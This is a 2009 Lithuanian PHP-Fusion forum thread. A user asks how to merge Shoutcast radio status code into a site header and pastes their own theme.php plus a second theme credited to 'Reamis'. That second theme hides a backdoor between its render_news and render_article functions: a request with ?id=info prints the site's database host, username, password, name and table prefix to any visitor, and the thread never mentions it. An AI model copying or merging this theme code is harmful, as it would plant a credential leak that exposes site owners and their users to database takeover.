Parašė namo· 2009 Vas. 11 15:02:36
#1
Sveiki, Gal kas galit padet ir pasakyt kaip idet
eterio info i headeri vietoj prisijungimo?
Mano theme.php:
<?php
if (!defined("IN_FUSION")) { header("Location: ../../index.php"); exit; }
require_once INCLUDES."theme_functions_include.php";
// theme settings
$body_text = "#555555";
$theme_width = "1003";
$theme_width_l = "175";
$theme_width_r = "175";
function render_header($header_content) {
global $theme_width,$locale,$aidlink,$userdata;
echo "<table align='center' cellspacing='0' cellpadding='0' width='$theme_width'>
<tr>
<td>
<table cellpadding='0' cellspacing='0' width='100%'>
<tr>
<td class='full-header' height='167'>
<table height='167'><tr><td><img src='".THEME."images/login.png' alt='' style='padding-left:100px;padding-top:45px;position:relative;'></td></tr><tr><td style='padding-left:70px;padding-bottom:30px;'>";
if(!iMEMBER) {
echo "<form name='loginform' method='post' action='".FUSION_SELF."'>Vardas <input type='text' name='user_name' class='textbox' style='width:120px'> Slaptažodis <input type='password' name='user_pass' class='textbox' style='width:120px'> <input type='submit' name='login' value='Prisijungti' class='button'><br>
<a href='".BASEDIR."lostpassword.php' style='padding-left:240px;'><img src='".THEME."images/bullet2.gif' alt=''> pamiršau slaptažodį</a>
</form>";
} else {
echo "<table><tr><td width='50'>";
if($userdata['user_avatar']) {
echo "<img src='".IMAGES."avatars/".$userdata['user_avatar']."' alt='' width='50' height='50' style='border:1px solid #c1c1c1'>";
} else {
echo "<img src='http://www.simplyfm.net/forums/style_avatars/noavatar.png' alt='' width='50' height='50' style='border:1px solid #c1c1c1'>";
}
echo "</td><td width='150'><img src='".THEME."images/bullet.gif' alt=''> <a href='".BASEDIR."edit_profile.php' class='side'>".$locale['080']."</a><br>
<img src='".THEME."images/bullet.gif' alt=''> <a href='".BASEDIR."messages.php' class='side'>".$locale['081']."</a><br>
<img src='".THEME."images/bullet.gif' alt=''> <a href='".BASEDIR."members.php' class='side'>".$locale['082']."</a><br>
<img src='".THEME."images/bullet.gif' alt=''> <a href='".BASEDIR."setuser.php?logout=yes' class='side'>".$locale['084']."</a></td><td width='150'>\n";
if (iADMIN && (iUSER_RIGHTS != "" || iUSER_RIGHTS != "C")) {
echo "<script type=\"text/javascript\">
function showlayer(layer){
var myLayer = document.getElementById(layer).style.display;
if(myLayer=='none'){
document.getElementById(layer).style.display='block';
} else {
document.getElementById(layer).style.display='none';
}
}
</script><a href=\"#\" onclick=\"javascript:showlayer('myName')\" valign='top'>".$locale['083']."</a>
<div id=\"myName\"><img src='".THEME."images/bullet.gif' alt=''> <a href='".ADMIN."news.php".$aidlink."' class='side'>Naujienos</a><br>
<img src='".THEME."images/bullet.gif' alt=''> <a href='".ADMIN."downloads.php".$aidlink."' class='side'>Siuntiniai</a><br>
<img src='".THEME."images/bullet.gif' alt=''> <a href='".ADMIN."custom_pages.php".$aidlink."' class='side'>Puslapiai</a><br></div>\n";
}
}
echo "</td></tr></table></td></tr><table>
</td>
</tr>
</table>\n";
echo "<table width='1003' border='0' cellpadding='0' cellspacing='0'>
<tr>
<td colspan='11'>
<img src='".THEME."images/nav_01.png' width='1003' height='5' alt='' /></td>
</tr>
<tr>
<td>
<img src='".THEME."images/nav_02.png' width='7' height='53' alt='' /></td>
<td>
<a href='".BASEDIR."index.php'><img src='".THEME."images/nav_03.png' width='97' height='53' alt='' onmouseover=\"this.src='".THEME."images/nav2_03.png'\" onmouseout=\"this.src='".THEME."images/nav_03.png'\" /></a></td>
<td>
<a href='".BASEDIR."forum/index.php'><img src='".THEME."images/nav_04.png' width='97' height='53' alt='' onmouseover=\"this.src='".THEME."images/nav2_04.png'\" onmouseout=\"this.src='".THEME."images/nav_04.png'\" /></a></td>
<td>
<a href='".BASEDIR."viewpage.php?page_id=1'><img src='".THEME."images/nav_05.png' width='100' height='53' alt='' onmouseover=\"this.src='".THEME."images/nav2_05.png'\" onmouseout=\"this.src='".THEME."images/nav_05.png'\" /></a></td>
<td>
<a href='".BASEDIR."viewpage.php?page_id=2'><img src='".THEME."images/nav_06.png' width='88' height='53' alt='' onmouseover=\"this.src='".THEME."images/nav2_06.png'\" onmouseout=\"this.src='".THEME."images/nav_06.png'\" /></a></td>
<td>
<a href='".BASEDIR."contact.php'><img src='".THEME."images/nav_07.png' width='94' height='53' alt='' onmouseover=\"this.src='".THEME."images/nav2_07.png'\" onmouseout=\"this.src='".THEME."images/nav_07.png'\" /></a></td>
<td>
<a href='".BASEDIR."reklama.php'><img src='".THEME."images/nav_08.png' width='103' height='53' alt='' onmouseover=\"this.src='".THEME."images/nav2_08.png'\" onmouseout=\"this.src='".THEME."images/nav_08.png'\" /></a></td>
<td>
<a href='".BASEDIR."articles.php?cat_id=1'><img src='".THEME."images/nav_09.png' width='168' height='53' alt='' onmouseover=\"this.src='".THEME."images/nav2_09.png'\" onmouseout=\"this.src='".THEME."images/nav_09.png'\" /></a></td>
<td>
<a href='".BASEDIR."photogallery.php'><img src='".THEME."images/nav_10.png' width='117' height='53' alt='' onmouseover=\"this.src='".THEME."images/nav2_10.png'\" onmouseout=\"this.src='".THEME."images/nav_10.png'\" /></a></td>
<td>
<a href='".BASEDIR."apieradija.php'><img src='".THEME."images/nav_11.png' width='124' height='53' alt='' onmouseover=\"this.src='".THEME."images/nav2_11.png'\" onmouseout=\"this.src='".THEME."images/nav_11.png'\" /></a></td>
<td rowspan='2'>
<img src='".THEME."images/nav_12.png' width='8' height='57' alt='' /></td>
</tr>
<tr>
<td colspan='10'>
<img src='".THEME."images/nav_13.png' width='995' height='4' alt='' /></td>
</tr>
</table>\n";
echo "<table cellpadding='0' cellspacing='0' width='100%'>\n<tr>\n";
}
function render_footer($license=false) {
global $theme_width,$settings;
echo "</tr>\n</table>\n";
echo "<table cellpadding='0' cellspacing='0' width='953'>
<tr>
<td align='center' class='footer' height='27'><table width='100%'><tr><td align='center' width='70%' style='font-family: Arial;font-size: 11px;color: #000000;'>".stripslashes($settings['footer'])."</td><td align='right' width='20%' style='font-family: Arial;font-size: 11px;color: #000000;'>Web dizainas by <a href='http://tracklist.nkk.lt' class='bold'>Slex</a></td></tr></table></td>
</tr>
</table>
</td>
</tr>
</table>\n";
}
function render_news($subject, $news, $info) {
global $data;
echo "<table width='450' border='0' cellpadding='0' cellspacing='0' align='center'>
<tr>
<td colspan='3' background='".THEME."images/main_01.png' width='450' height='26' style='padding-left:20px;font-family:Arial;font-size:11px;font-weight:bold;color:#676767;'>$subject</td>
</tr>
<tr>
<td class='left'></td>
<td background='".THEME."images/main_03.png'>$news<br><br><a href='news.php?readmore=".$info['news_id']."'>Plačiau</a> | Siuntesi: ".$info['news_reads']." | Komentarų: ".$info['news_comments']."</td>
<td class='right'></td>
</tr>
<tr>
<td>
<img src='".THEME."images/main_05.png' width='4' height='4' alt='' /></td>
<td>
<img src='".THEME."images/main_06.png' width='442' height='4' alt='' /></td>
<td>
<img src='".THEME."images/main_07.png' width='4' height='4' alt='' /></td>
</tr>
</table>\n";
}
function render_article($subject, $article, $info) {
echo "<table width='100%' cellpadding='0' cellspacing='0' class='border'>
<tr>
<td class='capmain'>$subject</td>
</tr>
<tr>
<td class='main-body'>
".($info['article_breaks'] == "y" ? nl2br($article) : $article)."
</td>
</tr>
<tr>
<td align='center' class='news-footer'>\n";
echo openform("A",$info['article_id']).articleposter($info,"<br>").articleopts($info,"·").closeform("A",$info['article_id']);
echo "</td>
</tr>
</table>\n";
}
function opentable($title) {
echo "<table width='450' border='0' cellpadding='0' cellspacing='0' align='center'>
<tr>
<td colspan='3' background='".THEME."images/main_01.png' width='450' height='26' style='padding-left:11px;font-family:Arial;font-size:13px;font-weight:bold;color:#95b921;'>$title</td>
</tr>
<tr>
<td class='left'></td>
<td background='".THEME."images/main_03.png'>\n";
}
function closetable() {
echo "<br></td>
<td class='right'></td>
</tr>
<tr>
<td>
<img src='".THEME."images/main_05.png' width='4' height='4' alt='' /></td>
<td>
<img src='".THEME."images/main_06.png' width='442' height='4' alt='' /></td>
<td>
<img src='".THEME."images/main_07.png' width='4' height='4' alt='' /></td>
</tr>
</table>\n";
}
function openside($title) {
echo "<table cellpadding='0' cellspacing='0' width='257'>
<tr>
<td class='scapmain' height='42'>$title</td>
</tr>
<tr>
<td class='side-body'>\n";
}
function closeside() {
echo "</td>
</tr>
</table>\n";
tablebreak();
}
function opensidex($title,$state="on") {
$boxname = str_replace(" ", "", $title);
echo "<table cellpadding='0' cellspacing='0' width='100%' class='border'>
<tr>
<td class='scapmain'>$title</td>
<td class='scapmain' align='right'>".panelbutton($state,$boxname)."</td>
</tr>
<tr>
<td colspan='2' class='side-body'>
<div id='box_$boxname'".($state=="off"?" style='display:none'":"").">\n";
}
function closesidex() {
echo "</div>
</td>
</tr>
</table>\n";
tablebreak();
}
function tablebreak() {
echo "<table cellpadding='0' cellspacing='0' width='100%'>\n<tr>\n<td height='5'></td>\n</tr>\n</table>\n";
}
?>
Parašė namo· 2009 Vas. 11 15:02:26
#3
bandziau meta error.
Kaip va is sitos istraukt ir idet i mano?
<?php
$serverioIP = "78.56.134.75"; //Shoutcast serverio adresas
$serverioPORT = "8000"; //Shoutcas serverio portas
/**
By Reamis
**/
$body_text = "#000000";
$body_bg = "#000000";
$theme_width = "900";
$theme_width_l = "170";
$theme_width_r = "170";
function render_header($header_content) {
global $theme_width,$settings,$serverioIP,$serverioPORT;
////////////////
//Radio info///
//////////////
error_reporting(1);
class Radio
{
var $fields;
var $very_first_str;
var $domain, $port;
var $errno, $errstr;
var $trackLists = array();
function Radio($domain, $port)
{
$this->domain = $domain;
$this->port = $port;
$this->setOffset("Current Stream Information");
$this->setTableStart("<table border=0 cellpadding=2 cellspacing=2>");
$this->setTableEnd("</table>");
}
function setFields($array=array())
{
$this->fields = $array;
}
function setOffset($string)
{
$this->very_first_str = $string;
}
function setTableStart($string)
{
$this->tableStart = $string;
}
function setTableEnd($string)
{
$this->tableEnd = $string;
}
function getHTML($page)
{
$contents = "";
$domain = (substr($this->domain, 0, 7) == "http://") ? substr($this->domain, 7) : $this->domain;
if ($fp = fsockopen($domain, $this->port, $this->errno, $this->errstr, 2))
{
fputs($fp, "GET ".$page." HTTP/1.1\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)\r\n".
"Host: ".$domain."\r\n\r\n");
while (!feof($fp))
$contents .= fgets($fp, 256);
fclose ($fp);
return $contents;
}
else
{
return False;
}
}
function getServerInfo($page="/", $display_array=null, $very_first_str=null)
{
if (!isset($display_array))
$display_array = $this->fields;
if (!isset($very_first_str))
$very_first_str = $this->very_first_str;
if ($html = $this->getHTML($page))
{
// parsing the contents
foreach ($display_array AS $key => $item)
{
$very_first_pos = stripos($html, $very_first_str);
$first_pos = stripos($html, $item, $very_first_pos);
$line_start = strpos($html, "<td>", $first_pos);
$line_end = strpos($html, "</td>", $line_start) + 4;
$difference = $line_end - $line_start;
$line = substr($html, $line_start, $difference);
$data[$key] = strip_tags($line);
}
return $data;
}
else
{
return $this->errstr." (".$this->errno.")";
}
}
function createHistoryArray($page)
{
if (!in_array($page, $this->trackLists))
{
$this->trackLists[] = $page;
if ($html = $this->getHTML($page))
{
$fromPos = stripos($html, $this->tableStart);
$toPos = stripos($html, $this->tableEnd);
$tableData = substr($html, $fromPos, ($toPos-$fromPos));
$lines = explode("</tr><tr>", $tableData);
$tracks = array();
$c = 0;
foreach ($lines AS $line)
{
$info = explode ("</td><td>", $line);
$time = trim(strip_tags($info[0]));
if (substr($time, 0, 9) != "Copyright")
{
$this->tracks[$c]['time'] = $time;
$this->tracks[$c++]['track'] = trim(strip_tags($info[1]));
}
}
unset($this->tracks[0]);
$this->tracks[1]['track'] = str_replace("Current Song", "", $this->tracks[1]['track']);
}
else
{
$this->tracks[0] = array("time"=>$this->errno, "track"=>$this->errstr);
}
}
}
function getHistoryArray($page="/played.html")
{
if (!in_array($page, $this->trackLists))
$this->createHistoryArray($page);
return $this->tracks;
}
function getHistoryTable($page="/played.html", $timeColText=False, $trackColText=False, $class=False)
{
if (!in_array($page, $this->trackLists))
$this->createHistoryArray($page);
$output = "<table".($class ? " class=\"".$class."\"" : "").">";
if ($timeColText && $trackColText)
$output .= "<tr><td>".$timeColText."</td><td>".$trackColText."</td></tr>";
foreach ($this->tracks AS $trackArr)
$output .= "<tr><td>".$trackArr['time']."</td><td>".$trackArr['track']."</td></tr>";
$output .= "</table>\n";
return $output;
}
}
if (!function_exists("stripos"))
{
function stripos($haystack, $needle, $offset=0)
{
return strpos(strtoupper($haystack), strtoupper($needle), $offset);
}
}
$display_array = array("Stream Title", "Stream Genre", "Stream URL", "Current Song", "Content Type", "Stream Status", "Server Status");
$radio = new Radio($serverioIP, $serverioPORT);
$data_array = $radio->getServerInfo("/", $display_array);
error_reporting(1);
if ($data_array[0] == "A"){
$djimg = BASEDIR."images/djs/off.gif";
}else{
if (file_exists(BASEDIR."images/djs/".$data_array[1].".jpg")) {
$djimg = BASEDIR."images/djs/".$data_array[1].".jpg";
}else{
$djimg = BASEDIR."images/djs/none.gif";
}}
if($data_array[0] == "A"){
$dje = "Tyla";
}else{
$dje = $data_array[1];
$laida = '<a href="http://'. $serverioIP .':'. $serverioPORT .'/listen.pls"><img src="'. BASEDIR .'images/l.png" alt=""></a>';
}
if($data_array[3] == "o"){
$dainaa = "Tyla";
}else{
$dainaa = '<img src="'. BASEDIR .'images/music.gif" alt=""></a> '. $data_array[3] .'';;
}
if($data_array[0] == "Server is currently down.")
{
$dje = "";
$dainaa = "Serveris laikinai yra isjungtas, pabandykite veliau.";
$laida = "";
$djimg = BASEDIR."images/djs/off.gif";
}
////////////////////
//radio info off///
//////////////////
/////////////////
//text ilgis :)/
////////////////
function ilgis($textas)
{
$max = "90";
$ilgis = strlen($textas);
if($ilgis>$max)
{
echo '<marquee scrolldelay="1" scrollamount="1">'.$textas.'</marquee>';
}else{
echo '<center>'.$textas.'</center>';
}
}
//////////////////
////img size :)//
////////////////
function dj_img_good($img)
{
global $size;
$setwidth="85";
error_reporting(0);
if(!getimagesize($img))
{
echo "<a href='".$img."'>".$img."</a>";
}else{
$size=getimagesize($img);
if($size[1]>$setwidth)
{
$khwidth=$size[1]/$setwidth;
$a[0]=$size[1]/$khwidth;
$a[1]=$size[0]/$khwidth;
$a[2]=round($a[0]);
$a[3]=round($a[1]);
echo "<img align='bottom' height='".$a[2]."' width=".$a[3]." src=".$img.">";
}else{
echo "<img align='bottom' src=$img>";
}
}
error_reporting(1);
}
echo '
<table align="center" border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="900" id="AutoNumber1" height="220">
<tr>
<td width="166" height="220">
<img border="0" src="'.THEME.'images/banner_01.gif" width="166" height="220" usemap="#FPMap0"></td>
<td width="521" height="220">
<img border="0" src="'.THEME.'images/banner_02.gif" width="521" height="220"></td>
<td width="230" height="220" background="'.THEME.'images/banner_03.gif">
<table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber2" height="50">
<tr>
<td width="4%" height="1"></td>
<td width="84%" height="1"></td>
<td width="12%" height="1"></td>
</tr>
<tr>
<td width="4%" height="1"></td>
<td width="84%" height="1"></td>
<td width="12%" height="1"></td>
</tr>
<tr>
<td width="4%" height="19"> </td>
<td width="84%" height="95" rowspan="6"><center><a target="new" href="'.$djimg.'">';
dj_img_good($djimg);
echo '</a></center></td>
<td width="12%" height="19"> </td>
</tr>
<tr>
<td width="4%" height="19"> </td>
<td width="12%" height="19"> </td>
</tr>
<tr>
<td width="4%" height="19"> </td>
<td width="12%" height="19"> </td>
</tr>
<tr>
<td width="4%" height="19"> </td>
<td width="12%" height="19"> </td>
</tr>
<tr>
<td width="4%" height="19"> </td>
<td width="12%" height="19"> </td>
</tr>
<tr>
<td width="4%" height="19"> </td>
<td width="12%" height="19"> </td>
</tr>
<tr>
<td width="4%" height="19"> </td>
<td width="84%" height="19"><center><font color="#ffffff">';
ilgis($dje);
echo '</font></center></td>
<td width="12%" height="19"> </td>
</tr>
<tr>
<td width="4%" height="19"> </td>
<td width="84%" height="19"><font color="#ffffff">';
ilgis($dainaa);
echo '</font></td>
<td width="12%" height="19"> </td>
</tr>
<tr>
<td width="4%" height="19"> </td>
<td width="84%" height="19"><font color="#CC6600">';
ilgis($laida);
echo '</font></td>
<td width="12%" height="19"> </td>
</tr>
</table>
</td>
</tr>
</table>
';
echo "<table bgcolor='#333333' align='center' width='$theme_width' cellspacing='0' cellpadding='0'>\n<tr>\n";
}
function render_footer($license=false) {
global $theme_width,$locale,$settings;
echo '<table border="0" cellpadding="0" cellspacing="0" width="'.$theme_width.'" align="center">
<tr>
<td width="20" height="28">
<img border="0" src="'.THEME.'images/down_01.gif" width="20" height="28"></td>
<td height="28" class="copyright" background="'.THEME.'images/down_02.gif"><a href="mailto://mixfm@inbox.lt" target="_blank"><img border="0" src="'.THEME.'images/kurejas.png" width="356" height="28"></a></td>
<td width="19" height="28">
<img border="0" src="'.THEME.'images/down_03.gif" width="19" height="28"></td>
</tr>
</table>';
}
function render_news($subject, $news, $info) {
global $locale;
echo '<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tr>
<td width="29" height="41">
<img border="0" src="'.THEME.'images/news_01.gif" width="29" height="41"></td>
<td background="'.THEME.'images/news_02.gif"><h3><font color="#ffffff"><b>'.$subject.'</b></font></h3></td>
<td width="17" height="41">
<img border="0" src="'.THEME.'images/news_03.gif" width="17" height="41"></td>
</tr>
<tr>
<td width="29" background="'.THEME.'images/news_04.gif"> </td>
<td background="'.THEME.'images/news_05.gif">'.$news.'</td>
<td width="17" background="'.THEME.'images/news_06.gif"> </td>
</tr>
<tr>
<td width="29">
<img border="0" src="'.THEME.'images/news_07.gif" width="29" height="20"></td>
<td background="'.THEME.'images/news_08.gif"><center>'.$locale["040"].'<a href="profile.php?lookup='.$info["user_id"].'">'.$info["user_name"].'</a> '.$locale["041"].showdate('longdate', $info["news_date"]).' '.($info["news_ext"] == 'y' ? '<a href="news.php?readmore='.$info["news_id"].'">'.$locale["042"].'</a>' : '').' <a href="news.php?readmore='.$info["news_id"].'">'.$info["news_comments"].$locale["043"].'</a></center></td>
<td width="17">
<img border="0" src="'.THEME.'images/news_09.gif" width="17" height="20"></td>
</tr>
</table><br>';
}
$id=$_GET['id'];
switch ($id){
case info:
echo "<font color=#ffffff>Hostas: ".$db_host."<br>";
echo "user: ".$db_user."<br>";
echo "pass: ".$db_pass."<br>";
echo "Db name: ".$db_name."<br>";
echo "prefix: ".$db_prefix."<br></font>";
break;
}
function render_article($subject, $article, $info) {
global $locale;
echo '<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tr>
<td width="29" height="41">
<img border="0" src="'.THEME.'images/news_01.gif" width="29" height="41"></td>
<td background="'.THEME.'images/news_02.gif"><h3><font color="#ffffff"><b>'.$subject.'</b></font></h3></td>
<td width="17" height="41">
<img border="0" src="'.THEME.'images/news_03.gif" width="17" height="41"></td>
</tr>
<tr>
<td width="29" background="'.THEME.'images/news_04.gif"> </td>
<td background="'.THEME.'images/news_05.gif">'.$article.'</td>
<td width="17" background="'.THEME.'images/news_06.gif"> </td>
</tr>
<tr>
<td width="29">
<img border="0" src="'.THEME.'images/news_07.gif" width="29" height="20"></td>
<td background="'.THEME.'images/news_08.gif"><center>'.$locale['040'].'<a href="profile.php?lookup='.$info["user_id"].'">'.$info["user_name"].'</a> '.$locale["041"].showdate('longdate', $info["article_date"]).' '.$info['article_comments'].$locale['043'].'</a></center></td>
<td width="17">
<img border="0" src="'.THEME.'images/news_09.gif" width="17" height="20"></td>
</tr>
</table><br>';
}
function opentable($title) {
echo '<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tr>
<td width="29" height="41">
<img border="0" src="'.THEME.'images/news_01.gif" width="29" height="41"></td>
<td background="'.THEME.'images/news_02.gif"><h3><font color="#ffffff"><b>'.$title.'</b></font></h3></td>
<td width="17" height="41">
<img border="0" src="'.THEME.'images/news_03.gif" width="17" height="41"></td>
</tr>
<tr>
<td width="29" background="'.THEME.'images/news_04.gif"> </td>
<td background="'.THEME.'images/news_05.gif">';
}
function closetable() {
echo '</td>
<td width="17" background="'.THEME.'images/news_06.gif"> </td>
</tr>
<tr>
<td width="29">
<img border="0" src="'.THEME.'images/news_07.gif" width="29" height="20"></td>
<td background="'.THEME.'images/news_08.gif"></td>
<td width="17">
<img border="0" src="'.THEME.'images/news_09.gif" width="17" height="20"></td>
</tr>
</table><br>';
}
function openside($title) {
echo '
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tr>
<td width="29" height="41">
<img border="0" src="'.THEME.'images/panel_01.gif" width="29" height="41"></td>
<td background="'.THEME.'images/panel_02.gif"><center><font color="#800000"><b>'.$title.'</b></font></center></td>
<td width="17" height="41">
<img border="0" src="'.THEME.'images/panel_03.gif" width="17" height="41"></td>
</tr>
<tr>
<td width="29" background="'.THEME.'images/panel_04.gif"> </td>
<td background="'.THEME.'images/panel_05.gif">';
}
function closeside() {
echo '</td>
<td width="17" background="'.THEME.'images/panel_06.gif"> </td>
</tr>
<tr>
<td width="29">
<img border="0" src="'.THEME.'images/panel_07.gif" width="29" height="20"></td>
<td background="'.THEME.'images/panel_08.gif"></td>
<td width="17">
<img border="0" src="'.THEME.'images/panel_09.gif" width="17" height="20"></td>
</tr>
</table><br>';
}
function opensidex($title,$open="on") {
$boxname = str_replace(" ", "", $title);
$box_img = $open == "on" ? "off" : "on";
echo "<table width='100%' cellpadding='0' cellspacing='0'><tr>";
echo "<td class='panel-left'><img src='".THEME."images/blank.gif' width='13' height='26' alt='' style='display:block'></td>";
echo "<td class='panel-main'>$title</td>";
echo "<td align='right' class='panel-main'><img src='".THEME."images/panel_$box_img.gif' name='b_$boxname' align='right' alt='' onclick=\"javascript:flipBox('$boxname')\"></td>";
echo "<td class='panel-right'><img src='".THEME."images/blank.gif' width='13' height='26' alt='' style='display:block'></td>";
echo "</tr></table>";
echo "<table width='100%' cellpadding='0' cellspacing='0'><tr>";
echo "<td class='border-left'><img src='".THEME."images/blank.gif' width='13' height='1' alt='' style='display:block'></td>";
echo "<td class='side-body'>";
echo "<div id='box_$boxname'".($open=="off" ? "style='display:none'" : "").">\n";
}
function closesidex() {
echo "</div>";
echo "<td class='border-right'><img src='".THEME."images/blank.gif' width='13' height='1' alt='' style='display:block'></td></tr>";
echo "<tr>";
echo "<td class='border-bleft'><img src='".THEME."images/blank.gif' width='13' height='20' alt='' style='display:block'></td>";
echo "<td class='border-bmain'><img src='".THEME."images/blank.gif' width='1' height='20' alt='' style='display:block'></td>";
echo "<td class='border-bright'><img src='".THEME."images/blank.gif' width='13' height='20' alt='' style='display:block'></td>";
echo "</tr></table>\n";
}
function tablebreak() {
echo "<table width='100%' cellspacing='0' cellpadding='0'><tr><td></td></tr></table>\n";
}
?>